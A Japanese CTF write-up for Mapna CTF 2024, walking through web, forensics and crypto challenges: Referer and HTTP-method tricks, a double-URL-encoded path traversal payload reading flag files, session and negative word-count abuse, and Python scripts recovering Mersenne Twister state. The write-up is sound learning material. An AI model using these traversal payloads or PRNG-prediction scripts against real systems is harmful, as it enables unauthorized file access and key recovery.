Mapna CTF 2024 Writeup

この大会は2024/1/21 0:00(JST)~2024/1/22 0:00(JST)に開催されました。
今回もチームで参戦。結果は462点で685チーム中60位でした。
自分で解けた問題をWriteupとして書いておきます。

CTF Welcome 🎉 (Trivia)

問題にフラグが書いてあった。

MAPNA{🚩_CTF_infoS3cV1ct0rY_@_MECO_MAPNA}

Flag Holding (Web, Warmup)

問題のWebページにアクセスすると、以下のように書いてある。

You are not coming from "http://flagland.internal/".

HTTPヘッダのRefererを使ってアクセスする。

$ curl -H "Referer: http://flagland.internal/" http://18.184.219.56:8080/
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Flag holding</title>
	<style>
		body {
			background-color: #1a4a5e;
		}
		.msg {
			text-align: center;
			font-family: sans-serif;
			color: white;
			font-size: 40px;
			line-height: 500px;
		}
	</style>
</head>
<body>
	<div class="msg" style="">
		Unspecified "secret".	</div>
</body>
</html>

パラメータにsecretが必要のようだ。

$ curl -H "Referer: http://flagland.internal/" http://18.184.219.56:8080/?secret
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Flag holding</title>
	<style>
		body {
			background-color: #1a4a5e;
		}
		.msg {
			text-align: center;
			font-family: sans-serif;
			color: white;
			font-size: 40px;
			line-height: 500px;
		}
	</style>
</head>
<body>
	<div class="msg" style="">
		Incorrect secret. <!-- hint: secret is ____ which is the name of the protocol that both this server and your browser agrees on... -->	</div>
</body>
</html>

secretにこの通信のプロトコル名を指定する必要がある。

$ curl -H "Referer: http://flagland.internal/" http://18.184.219.56:8080/?secret=http
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Flag holding</title>
	<style>
		body {
			background-color: #1a4a5e;
		}
		.msg {
			text-align: center;
			font-family: sans-serif;
			color: white;
			font-size: 40px;
			line-height: 500px;
		}
	</style>
</head>
<body>
	<div class="msg" style="">
		Sorry we don't have "GET" here but we might have other things like "FLAG".	</div>
</body>
</html>

HTTPメソッドにFLAGを指定する必要がある。

$ curl -X FLAG -H "Referer: http://flagland.internal/" http://18.184.219.56:8080/?secret=http
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Flag holding</title>
	<style>
		body {
			background-color: #1a4a5e;
		}
		.msg {
			text-align: center;
			font-family: sans-serif;
			color: white;
			font-size: 40px;
			line-height: 500px;
		}
	</style>
</head>
<body>
	<div class="msg" style="">
		MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}	</div>
</body>
</html>
MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}

Novel reader (Web)

/api/read/で"public/"から始まるファイルを読むことができる。
読みたいファイルは/flag.txtなので、以下を指定し読んでみる。

public/../../../flag.txt
$ curl --path-as-is "http://3.64.250.135:9000/api/read/public/../flag.txt"
{"msg":"You can only read public novels!","success":false}

そのままでは読めない。URLエンコードを2回することによって、unquoteされても"public/"からはじめるよう調整する。

$ curl --path-as-is "http://3.64.250.135:9000/api/read/public%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fflag%252Etxt"
{"msg":"MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}\n\n... Charge your account to unlock more of the novel!","success":true}
MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}

Novel Reader 2 (Web)

Novel readerの続き。
読みたいファイルは/private/A-Secret-Tale.txtなので、以下を指定し読んでみる。

public/../private/A-Secret-Tale.txt
$ curl --path-as-is "http://3.64.250.135:9000/api/read/public/../private/A-Secret-Tale.txt"
{"msg":"You can only read public novels!","success":false}

やはりそのままでは読めない。URLエンコードを2回することによって、unquoteされても"public/"からはじめるよう調整する。

$ curl --path-as-is "http://3.64.250.135:9000/api/read/public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt"
{"msg":"Once... Charge your account to unlock more of the novel!","success":true}

読み込むファイルのスペース区切りの単語数がwords_balanceの数まで表示されるという機能があるので、フラグの部分までは表示されない。
words_balanceが-1になるようnwordsに-2を指定する。
ブラウザでhttp://3.64.250.135:9000/にアクセスし、Number of Wordsに-2を指定し、Words Balanceを-1にする。
クッキーを確認すると、sessionの値が以下のようになっている。

eyJjcmVkaXQiOjEyMCwid29yZHNfYmFsYW5jZSI6LTF9.ZazWow.7hOC6N9OxePoid_1V2Oac1G3QaY
$ curl --path-as-is -b "session=eyJjcmVkaXQiOjEyMCwid29yZHNfYmFsYW5jZSI6LTF9.ZazWow.7hOC6N9OxePoid_1V2Oac1G3QaY" "http://3.64.250.135:9000/api/read/public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt"
{"msg":"Once a upon time there was a flag. The flag was read like this: MAPNA{uhhh-y0u-607-m3-4641n-3f4b38571}.... Charge your account to unlock more of the novel!","success":true}
MAPNA{uhhh-y0u-607-m3-4641n-3f4b38571}

PLC I 🤖 (Warmup, Forensics)

TCPのACKのEthernetのトレーラにある文字列を抽出する。

No.19: 3:Ld_4lW4
No.31: 5:3__PaAD
No.35: 1:MAPNA{y
No.39: 4:yS__CaR
No.46: 6:d1n9!!}
No.50: 2:0U_sHOu

":"の前をインデックスとして並び替えれば、フラグになる。

MAPNA{y0U_sHOuLd_4lW4yS__CaR3__PaADd1n9!!}

What next? (Warmup, Cryptography)

いろいろ処理をしているが、結局flagとKEYをXORしてencを算出しているだけ。encをKEYとXORして復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

KEY = int(params[1].split(' ')[-1])
enc = int(params[2].split(' ')[-1])

flag = long_to_bytes(enc ^ KEY).decode()
print(flag)
MAPNA{R_U_MT19937_PRNG_Predictor?}

What next II? (Cryptography)

暗号化処理の概要は以下の通り。

・n = 80
・TMP: i番目がランダム256ビット整数 * i ** 2の要素80個の配列
・KEY: i番目がランダム(256 // (2 ** i))ビット整数 ** 2の要素8個の合計
・enc: flagとKEYのXOR
・TMPとencを出力

Mersenne Twisterの性質を使って、TMPの値からKEYを割り出す。あとはencとKEYのXORをすれば、フラグになる。

#!/usr/bin/env python3
from random import *
from Crypto.Util.number import *

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

TMP = eval(params[0].split(' = ')[1])
enc = int(params[1].split(' = ')[1])

N = 624
state = []
for i in range(1, N // (256 // 32) + 1):
    div = i ** 2
    assert TMP[i] % div == 0
    r = TMP[i] // div
    for j in range(8):
        state.append(untemper((r >> (j * 32)) & 0xffffffff))

state.append(N)
setstate([3, tuple(state), None])

begin = i + 1
for i in range(begin, 80):
    assert getrandbits(256) * i ** 2 == TMP[i]

KEY = sum([getrandbits(256 >> _) ** 2 for _ in range(8)]) 
flag = long_to_bytes(enc ^ KEY).decode()
print(flag)
MAPNA{4Re_y0U_MT19937_PRNG_pr3d!cT0r_R3ven9E_4057950503c1e3992}